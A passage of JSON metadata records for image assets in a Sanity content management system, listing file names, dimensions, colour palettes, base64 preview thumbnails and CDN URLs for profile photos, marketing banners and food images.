X7gWNcXlTBPpdPaiNzC8msXa4/FV5nmm8jRVeJiIPE5EHiZbxs8r7h9+MJmJmGbIxTeorBWlK1OEDmXsUUUWjbOiNWYMrOAdUSsQxAxBOrP6JGds5JSNkrJVTqiKh6ebZAeP0nzjIr2Qqiuu2pLK+EHhaZw9h9TWP4MfSEaHINW9jdr0tvu6t9vXGHpCau6pgj2lJ3MyVSI3JA8Disgji1P8oMTxCgZ2cEM1GnZKxXZfIek1stGimJ8aVKvFcXPOlkxjC5SxQ57mZHlHfv1Jmnf4UYvutmhOy8ANOhz1hLYL2UhHRC3D9Fq8+IZ/vBEkN+JjQeHs+Lkf0zoCVRKSnyuipMP0WySzRtTrfmDgBQ2+ckDf2Ky3Plv1iB00HJIPwtMHUXrjFGfUxpyb+I13eURrC2ThEdOtWSsVb1LJWq3YaTUDN3zH9Sscv8DyS+ywwY/fCRP6YHzqyAOPTh3D9nc+xG+05pw8TvDCro8spbKPbtSKX8AnH4hOTsqhAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4047","foreground":"#fff","population":0.28,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#814202","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#80858c","foreground":"#fff","population":0.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4c4a4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcd47c","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#80858c","foreground":"#fff","population":0.64,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa8d20","foreground":"#000","population":0.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"6.png","path":"images/sczeoy4w/production/11ebb8c48a18a497cf9bd2143e994c05c14118b4-1200x630.png","sha1hash":"11ebb8c48a18a497cf9bd2143e994c05c14118b4","size":200924,"uploadId":"OvJhR92U0mYEpOOSa6CAxfhkrisPjKCN","url":"https://cdn.sanity.io/images/sczeoy4w/production/11ebb8c48a18a497cf9bd2143e994c05c14118b4-1200x630.png"} {"_createdAt":"2024-09-24T17:01:57Z","_id":"image-36dd3d60227427799dc73c0ca76579d56226bc98-1200x630-png","_rev":"Ypdm2WFkfKn13FbW5Vjj5V","_type":"sanity.imageAsset","_updatedAt":"2024-09-24T17:01:57Z","assetId":"36dd3d60227427799dc73c0ca76579d56226bc98","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBBCsV0v#kOw:|W*Ow}h0-xu%2ROJW$$$x","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADCklEQVQokS3SW0+bBQDG8fcTGDMOpbS0hbb0QPvSt+dCYS89jMIkODo5lGOhUBhtKRRGGSVjS6nFTZyZOjXhxhgMJEQQnRoTvTBqTLyYF/PGqImJ136Ev9nmF3jy/J48Qq16lAbdOCr9FCr9DMrmWRS6FA3NizS2ZFAZVlG3rtNkLqK1lGixV7D6PkSSzwheOWNx+B6f5Od4ujfIv29HEZS6cdqcSzgDOdq9OSxSFqM9i1HMY3JsYJa2MEvb2Lx3EH17WNz7mN2PsAdP8YfPmH71gA/SaX4oxfmrGkNQ6yfxduW5HN2kO1IkGL5FZ6hEd3SXUF8FOVYlGKkix+4j9z3A1XWAyf0ubR3HuORPGeh9yO3ECkeZSc7XEgj1mjHM7Qs4fBmcHXk8wQ08XUUC8g7ByF06QmUCoQod4X083ftY3FVMroc4uo5wyyeEux+Q68uyd32OwuAKwrMN9dbZ52zRk8XhX0MK3ETyFxG9W9g824i+24i+u5ikO+jtZez+d+jsPSbaf0wysst+OM5+eIgbXekXDU3iApI/izOQx9W5jidYRAoUsTo3MYqbNLcV0Vi2UJtK6MUK/tAhsfgFo2PnVIZuchHzcxL2U708iFCjGkHTOo3BlsJoT2NqX8bsyGN2rGEU1zHYNtBbC7RaV7HYNhDdr9Nz9Yj41LdMz31HaeQ+H/e/wkfRKDvyNMJL9XEuKYepU49Rr5mgXjuDQvviNsqWDNrWFfzOZRKRFItXU0wM7HB99ITJ9E/MLv/C+NhnzPS+RTLyBgM97yO8XDeEWjmErjmBxphEoUtySZWkRp2itmmJJn2GgWCKNydHOM1d4zCXpbB8wuLqrywVnnJt4nsC0cd4Q49xhb5EqFUMYdDEsZqnaLUtoDY8C5qlTjNPvfYGGkOWwe55DhfiPNmN8WN5nnvbpxRKv7NW+pPh5M/4rnyN1PMVkvwFQo3yNRTqYRq1CRpbpmnQJf8np5+Tm4x5evzLvJca5Y9qL78dzPOofEGp/De3yv8wsfiEYP83uEKf45TP+Q/sALOH4p0CRAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c427b","foreground":"#fff","population":1.8,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041c6c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c427b","foreground":"#fff","population":1.8,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a7aad4","foreground":"#000","population":1.59,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa9e42","foreground":"#000","population":0.34,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5cae","foreground":"#fff","population":0.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e14c11","foreground":"#fff","population":1.2,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Ignite24 LP .png","path":"images/sczeoy4w/production/36dd3d60227427799dc73c0ca76579d56226bc98-1200x630.png","sha1hash":"36dd3d60227427799dc73c0ca76579d56226bc98","size":251747,"uploadId":"uriIp59wW2yLVdRrsoQi7p8nrLgH3JCD","url":"https://cdn.sanity.io/images/sczeoy4w/production/36dd3d60227427799dc73c0ca76579d56226bc98-1200x630.png"} {"_createdAt":"2024-09-25T11:11:29Z","_id":"image-afaca998eee73040f864d56d6517b279b04c7a95-1200x630-jpg","_rev":"Ypdm2WFkfKn13FbW5Xs6mv","_type":"sanity.imageAsset","_updatedAt":"2024-09-25T11:11:29Z","assetId":"afaca998eee73040f864d56d6517b279b04c7a95","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MEPGjryWo}Ds^]OFE3=.Eoo~~kIdNL-e9i","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAUBAgYH/8QAIRAAAgEEAgIDAAAAAAAAAAAAAQIDAAQFESFRBhIxQXH/xAAWAQEBAQAAAAAAAAAAAAAAAAACAQT/xAAdEQACAgIDAQAAAAAAAAAAAAABAgARA2ESExQh/9oADAMBAAIRAxEAPwDuc0OYN05hkQRFtrs/VLvI7/IY5oZhHGrk69uWH5WlgAFy55+O6l1WS5KyKGHRG61d4wurMLBNVImPlepXHZBpLGGSYekjKCV6opTduwnYA8UUvKp+gwHNqf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#464a55","foreground":"#fff","population":0.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a0e17","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7def","foreground":"#fff","population":2.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cf96bd","foreground":"#000","population":0.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7def","foreground":"#fff","population":2.53,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#86669e","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5434f4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven_for_AlloyDB_Omni_meta_preview.jpg","path":"images/sczeoy4w/production/afaca998eee73040f864d56d6517b279b04c7a95-1200x630.jpg","sha1hash":"afaca998eee73040f864d56d6517b279b04c7a95","size":185320,"uploadId":"EB91csvRkPMEEfkTPK8O8wFaSr8l9LgI","url":"https://cdn.sanity.io/images/sczeoy4w/production/afaca998eee73040f864d56d6517b279b04c7a95-1200x630.jpg"} {"_createdAt":"2024-07-11T08:02:08Z","_id":"image-8ca00eab460934b1899252803a672d425b2cd1a8-340x340-webp","_rev":"Gc7Qq2PHZBylrD6rwN9uzh","_type":"sanity.imageAsset","_updatedAt":"2024-08-02T08:11:29Z","altText":"Jakob Shimony","assetId":"8ca00eab460934b1899252803a672d425b2cd1a8","description":null,"extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"eCCr_|?ITJNGs+~AW99YRjIp.8SPoNxaS4R~V@ITjYRk%3kDI@t7?H","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":340,"width":340},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAQFBgf/xAAkEAACAQQCAgEFAAAAAAAAAAABAgMABAUREiExURMGBxRBkf/EABcBAQEBAQAAAAAAAAAAAAAAAAMCBAX/xAAeEQACAQMFAAAAAAAAAAAAAAAAAQIDETIEElFhgf/aAAwDAQACEQMRAD8AqMfe43GYuafKPzZu0hXyxqLcfVrB41yUNvHZTjSRoO4x73VHk7qKPF2t68SzCJ+XB/DCspnc5JnWWCGzhVuQIaIa69UCi/DVeKXZtZtI5Ebc0PasD5FKrbA/BaRxPIVZRogilFYkl/dgJjMyttZxIlvBJwSPWxoD9+6weSmNq6/iqkJlHJig1/KUroalWqRS4Bo4SZ0u3xlvdWFlPLz+SSBWYg+T33SlKGolvZcMUf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#563d2c","foreground":"#fff","population":1.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a3458","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8f7266","foreground":"#fff","population":7.98,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#caaaa1","foreground":"#000","population":7.66,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6a7eba","foreground":"#fff","population":1.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8f7266","foreground":"#fff","population":7.98,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b47c5c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/webp","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"jakob-shimony.webp","path":"images/sczeoy4w/production/8ca00eab460934b1899252803a672d425b2cd1a8-340x340.webp","sha1hash":"8ca00eab460934b1899252803a672d425b2cd1a8","size":9172,"title":null,"uploadId":"CamTbdwqgY6DhpdGqpaQuv1dZKendhQS","url":"https://cdn.sanity.io/images/sczeoy4w/production/8ca00eab460934b1899252803a672d425b2cd1a8-340x340.webp"} {"_createdAt":"2024-07-15T18:35:39Z","_id":"image-2d1527329399d97375f866c9d402414b52c9152c-1174x402-jpg","_rev":"7FkI54gkIoGjwSDu3rm19r","_type":"sanity.imageAsset","_updatedAt":"2024-07-30T08:22:55Z","altText":"Popsticle in glass bowl","assetId":"2d1527329399d97375f866c9d402414b52c9152c","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D9KTDF.T0WTe0:00nP0#IT9G","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.9203980099502487,"height":402,"width":1174},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAHABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAUH/8QAIRAAAQQBAwUAAAAAAAAAAAAAAQACAwQGBRITBxExQdH/xAAWAQEBAQAAAAAAAAAAAAAAAAAFAwT/xAAaEQADAQEBAQAAAAAAAAAAAAABAgMABBEx/9oADAMBAAIRAxEAPwChieBa9jtCzBqFmO0Jj4a/6qs2KxcbDfoxSDjIbuIcQURRvzrWjOxPp2qHW85iYA82Z2OkWvSXLMtSzWigkkL2MD+20H0iIkZ2dECg/MbRFZyxG//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7f5645","foreground":"#fff","population":1.55,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b3e7a","foreground":"#fff","population":3.32,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d37838","foreground":"#fff","population":10.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b1c8d4","foreground":"#000","population":0.54,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec8d49","foreground":"#000","population":0.71,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c8ca4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d37838","foreground":"#fff","population":10.1,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"popsticle-in-glass-bowl.jpeg","path":"images/sczeoy4w/production/2d1527329399d97375f866c9d402414b52c9152c-1174x402.jpg","sha1hash":"2d1527329399d97375f866c9d402414b52c9152c","size":106299,"title":null,"uploadId":"439GlYlEpaBwGI2hMV97l5AuPIT3xwdJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/2d1527329399d97375f866c9d402414b52c9152c-1174x402.jpg"} {"_createdAt":"2024-07-15T18:28:11Z","_id":"image-008bde4e9e89fbe1766860a60d6607ba4d79a385-486x315-jpg","_rev":"7FkI54gkIoGjwSDu3rm49N","_type":"sanity.imageAsset","_updatedAt":"2024-07-30T08:24:06Z","altText":"Restaurant Evvai","assetId":"008bde4e9e89fbe1766860a60d6607ba4d79a385","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VQFEiakX~Afk$zv{jEROoIj@o$ofXAofj]NIazRjayIp","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.542857142857143,"height":315,"width":486},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAYHBf/EACMQAAICAwABAwUAAAAAAAAAAAECAwQABREGBxIxISIyUZH/xAAVAQEBAAAAAAAAAAAAAAAAAAAEBf/EAB4RAQACAgEFAAAAAAAAAAAAAAEAAgMEIhMhQqHh/9oADAMBAAIRAxEAPwBV8slr0Yakjoju6+xyD37ji6NpAkarDYZJCOcJ+Mc/UutS0NUaqnTjMPfzc9bv77kzoLFS28btEs4IUhX+B9cnGrXGGNe8f1m/IJVqmqM9Gq4kjBMY93XA6cM39R4fqN3QivWoZElccIRyB/MMBbRuLz9fYkzj4z//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c412f","foreground":"#fff","population":1.5,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8d4406","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#997552","foreground":"#fff","population":3.58,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dbcdc5","foreground":"#000","population":2.75,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbe07d","foreground":"#000","population":0.51,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#997552","foreground":"#fff","population":3.58,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc6404","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"restaurant-evvai-table-settings.jpeg","path":"images/sczeoy4w/production/008bde4e9e89fbe1766860a60d6607ba4d79a385-486x315.jpg","sha1hash":"008bde4e9e89fbe1766860a60d6607ba4d79a385","size":74462,"title":null,"uploadId":"6HNK9JrVlLCNtpT2sTfwJbRlCNmzXnAB","url":"https://cdn.sanity.io/images/sczeoy4w/production/008bde4e9e89fbe1766860a60d6607ba4d79a385-486x315.jpg"} {"_createdAt":"2024-07-16T13:22:14Z","_id":"image-9560dd2f1f2743f4f0b1d5c3e483d477f90e3048-908x908-png","_rev":"Q5au1PiVZbNmkWMGrFcp67","_type":"sanity.imageAsset","_updatedAt":"2024-07-16T13:22:29Z","altText":null,"assetId":"9560dd2f1f2743f4f0b1d5c3e483d477f90e3048","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e6RtvS-V00#700-VbHa0e.bv00aK3?TJ3=#8e.TJbvR*2bbc2aRPz;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":908,"width":908},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAG66AABuugHW3rEXAAADfklEQVQ4jXWV7WvWZRTHzz3dmCCT2UzDSqSy0RNWVPhCiGAQZGzX2cqb7XYPd7rp7qnZZOaLhWD2dGNz8ylnYug73xgIUv+B+EZjkCBCRm/1xWqlqDufONf1+80Z9OLwe/5c53udc74/QUUIWagUTKUBlbdQGUHlAio3TeUfVO6g8gcqP6Myisp6VBr9m+zbGOkk3ViIympT6UHlLCpTpnIrA82ayiwqd03lNiq/onLOVAZQWWMqtTl0PqwZlb2oXDKVaVQMFf4nzFRmULmCyn5U1qJSZyEBC54ZIcKmULlHEAhi1iZGWzrm53Ph76jcR+U6QT7PEqpxYAMhyrw0B9OCUaw3uhuN3mWPhHUvNSsuMtoLDjVUHqDyi6lUUGmSrAC+Z9MR9kGtMbDK2NcC3xaN8U3GeDcpNhljncb+d2HwWePDujzTv1E5j0qLZNWcSqsVEuxQCX4YNo73J5Bfe4yX4GgZTn9iHClD5Tmz9poINZUbplKVrDVuxZU21pvta7EI+6YdPnsHRt6ELU9Cz2PQuwy2roYDG+DMiPHF+0bnYt9Tz/JPVC478GZsDb/ZvTRJOrHN+KoVzuyB77e7POhYCJ2LYfNK2LsOJivGkT6jb3kO9AJNO9CbdpZWgfLy9NLRj+BgEX46Bj9WYfhVKC2ByhqXCdubYawLjvcb/U/lQC+QOfBObNo2wTavNI5tMQ5uhI9fgi9bodoBO19MUv3Y0wRdDUn2ia3GtmfyPUxAS+N0N67S/3SSW+0wyk/A7tfhUBcc7k3hC+16OUEPvAcnh8yGns8r7e0zI9ls3o7A8gozl3xqh/F1gO8G4PQumPCWKcGpnTA5SHw2OWjx+cCqPMO/ULnqwFHz2fS2KS4y+3SdcXIIzu5JeznyBvQ9nio8vBYmelKFHT76dqpyyvA3VCZc8npTOUeIs+mVNFyGy/XVvdE9e4+OBV5lY/drsOMFs9IS710fUzeQi6hs8AwbCdE1rhDkfjZOabT8mF/nkY9m/ixEF7pGkGFUVkQPjBYUomtcN9/czBweASWHmQ8is7XfCTKGyiuoLMiNsTZaUHINH3SfzYd2lRb4r4W5zGuojFnyg/r5fuhRR5BmC1IhyHmC3MjGyScgz9Jbw6vpBfA9c5meWYTNObYbY/YbqCFIE0FaCFI1lcvRhR4CZ0zlKiqHvQC+Zy7TnJHFv+DYgRq0ZV6DAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#65443c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c22004","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":52.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccbf99","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5ae71","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a98c51","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":52.36,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"icon-gaming-media.png","path":"images/sczeoy4w/production/9560dd2f1f2743f4f0b1d5c3e483d477f90e3048-908x908.png","sha1hash":"9560dd2f1f2743f4f0b1d5c3e483d477f90e3048","size":26516,"title":null,"uploadId":"ucZurGhRrl8dDLfq0wnpO1OnaDDStMxU","url":"https://cdn.sanity.io/images/sczeoy4w/production/9560dd2f1f2743f4f0b1d5c3e483d477f90e3048-908x908.png"} {"_createdAt":"2024-07-17T08:52:07Z","_id":"image-a18c3c5e922d39e4b6505e94a2f86a390e30c006-313x312-jpg","_rev":"YaKEzcVhnb7P0fmfvFUzqT","_type":"sanity.imageAsset","_updatedAt":"2024-08-02T08:11:22Z","altText":"Chris Hill","assetId":"a18c3c5e922d39e4b6505e94a2f86a390e30c006","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"egNm.*j[~q%MIU?bWBj[fQM{D%ofIURjxu?bj[j[j[RjWBayM{ayt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0032051282051282,"height":312,"width":313},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAQADAQAAAAAAAAAAAAAAAAYDBQcI/8QAJRAAAQMDBAICAwAAAAAAAAAAAQIDBAAGEQUSITEHExRBIlFh/8QAFAEBAAAAAAAAAAAAAAAAAAAAAP/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/AO6Xlqzuh2zKntBKpKRtaSroqPWaifF9wXLJ1b4t0PRpCJIKmSyMesj6NXl/Mxl2vJEgoG0b0BR7UOhUV4slocc9k8NsqTw3vwCT/KDpikkHFKz4CuQcg0oPH12Xhret3syxPmrLDcnYlpH4pAz+q39+FcCLETFdcQFqKjhXIIH1SlBQ+PLt1k26kOTFObXFJBXyccUpSg//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":1.39,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bfbfbf","foreground":"#000","population":2.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfbfbf","foreground":"#000","population":2.74,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":2.39,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"chris-hill.jpg","path":"images/sczeoy4w/production/a18c3c5e922d39e4b6505e94a2f86a390e30c006-313x312.jpg","sha1hash":"a18c3c5e922d39e4b6505e94a2f86a390e30c006","size":22653,"title":null,"uploadId":"b55OumoKgevzggzO4LaMo8BSQlmNLxHW","url":"https://cdn.sanity.io/images/sczeoy4w/production/a18c3c5e922d39e4b6505e94a2f86a390e30c006-313x312.jpg"} {"_createdAt":"2024-07-17T09:50:02Z","_id":"image-e1f93f08aa1a858d7901e7679a0b2eff37b8f4b1-1024x1024-jpg","_rev":"m47zVAKzspt7UjVx7wCF91","_type":"sanity.imageAsset","_updatedAt":"2024-08-02T08:10:59Z","altText":"Oded Valin","assetId":"e1f93f08aa1a858d7901e7679a0b2eff37b8f4b1","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"epOfonRj?^%Mw_?aofoffjRj9tkCnNRjkD?bofbbWVM{a}oLM{R*R*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1024,"width":1024},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAIDAAAAAAAAAAAAAAAAAAUHAQYI/8QAJhAAAQMEAQQBBQAAAAAAAAAAAQIDBAAFBhETBxIhIkEUMVFhcf/EABcBAQADAAAAAAAAAAAAAAAAAAQAAQX/xAAaEQADAAMBAAAAAAAAAAAAAAAAAQIDETET/9oADAMBAAIRAxEAPwC2usGXycTsbCoKNyJTnGlet9n7qBxO45JHnWx6XdET4sshLjJHs2TWxdXnbSzjQXd3m2lB1PD3eSVb+wqPwO4MuzW1PuNth1I40q0AdD4omR16JGlhiHgqn1FlUpSkgDhXKchumSTDIvEtx9YO0gnSU/wViTfbkLNGi/Vu8bLne2d+yPHwfxSlLlLTL2XL0yzy/vYugSJQeU26pAW4natADXmlKUZ9If/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#382f57","foreground":"#fff","population":1.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#86220d","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#382f57","foreground":"#fff","population":1.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d9a7b1","foreground":"#000","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fac4a4","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#685c9e","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d86f52","foreground":"#fff","population":0.5,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"oded-valin.jpg","path":"images/sczeoy4w/production/e1f93f08aa1a858d7901e7679a0b2eff37b8f4b1-1024x1024.jpg","sha1hash":"e1f93f08aa1a858d7901e7679a0b2eff37b8f4b1","size":204190,"title":null,"uploadId":"zyNeyzG8vbR4MCHnTLgJRJRy6bKg2EYW","url":"https://cdn.sanity.io/images/sczeoy4w/production/e1f93f08aa1a858d7901e7679a0b2eff37b8f4b1-1024x1024.jpg"} 